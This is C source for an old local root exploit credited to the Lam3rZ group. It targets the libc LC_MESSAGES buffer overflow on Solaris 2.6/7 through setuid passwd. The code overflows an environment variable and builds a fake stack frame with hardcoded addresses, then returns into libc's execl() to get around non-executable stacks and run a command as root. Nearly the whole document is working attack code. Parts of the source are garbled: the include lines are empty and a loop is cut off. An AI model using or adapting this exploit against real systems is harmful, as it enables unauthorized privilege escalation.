/* 31lc_messages, exploit for Solaris 2.6 / 7 and libc LC_MESSAGES bug. Exploit (c)Lam3rZ Group by Kil3r of Lam3rZ based (;) on: lpstat exploit for Solaris 2.6 - horizon - This demonstrates the return into libc technique for bypassing stack execution protection. This requires some preliminary knowledge for use. to compile: gcc 3lc_messages_passwd_stack.c \ `ldd /usr/bin/passwd | sed -e s/^.lib/-l/ | cut -d'.' -f1` !!! WARNING !!! For education and INTERNAL Lam3rZ use ONLY!!! This one works with passwd like this: username@host:~ > /usr/bin/passwd passwd: Changing password for username Enter login password: Well! It seems this sploit sometimes works on solaris 7. I Tested it on my ULTRA 10 and it didn't work so i wrote another :) */ #include #include #include #include #include #include #define BUF_LENGTH 1600 #define EV "LC_MESSAGES=" int main(int argc, char *argv[]) { char buf[BUF_LENGTH * 2]; char teststring[BUF_LENGTH * 2]; char *env[11]; char fakeframe[512]; char padding[64]; char platform[256]; void *handle; long execl_addr; u_char *char_p; u_long *long_p; int i; int pad=31; if (argc==2) pad+=atoi(argv[1]); if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((execl_addr=(long)dlsym(handle,"execl"))==NULL) { fprintf(stderr,"Can't find execl().\n"); exit(1); } execl_addr-=4; if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) || !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("found execl() at %lx\n",execl_addr); char_p=buf; memset(char_p,'A',BUF_LENGTH); /* now we set up our fake stack frame in env */ memset (fakeframe,'Q',512); long_p=(long *)fakeframe; *long_p++=0xdeadbeef; // we don't care about locals *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; // %i registers *long_p++=0xefffffb4-8; // points to our string to exec *long_p++=0xefffffb4-8; // argv[1] is a copy of argv[0] *long_p++=0x0; // NULL for execl(); *long_p++=0xeffffd18; *long_p++=0xeffffd18; *long_p++=0xeffffd18; *long_p++=0xeffffd18; // this just has to be somewhere it can work with *long_p++=0x11111111; // doesn't matter b/c we exec *long_p++=0x0; /* This gives us some padding to play with */ memset(teststring,'Z',BUF_LENGTH); teststring[BUF_LENGTH]=0; sysinfo(SI_PLATFORM,platform,256); pad+=20-strlen(platform); for (i=0;i> 8) & 0xff; buf[i+1]=(execl_addr >> 16) & 0xff; buf[i+0]=(execl_addr >>24) & 0xff; } long_p=(unsigned long *) (char_p+1176); *long_p++=0xeffff930-8;//0xffbef930-8; buf[1600]=0; env[0]=buf; env[1]=(fakeframe); env[2]=&(fakeframe[40]); env[3]=&(fakeframe[40]); env[4]=&(fakeframe[40]); env[5]=&(fakeframe[44]); env[6]=teststring; env[7]="A=/bin/id"; /* Under Solaris, /bin/sh will drop it's privileges if it is run with a non-zero ruid, and an euid of zero. */ env[8]=padding; env[9]=NULL; execle("/usr/bin/passwd","passwd",(char *)0,env); perror("execle failed"); }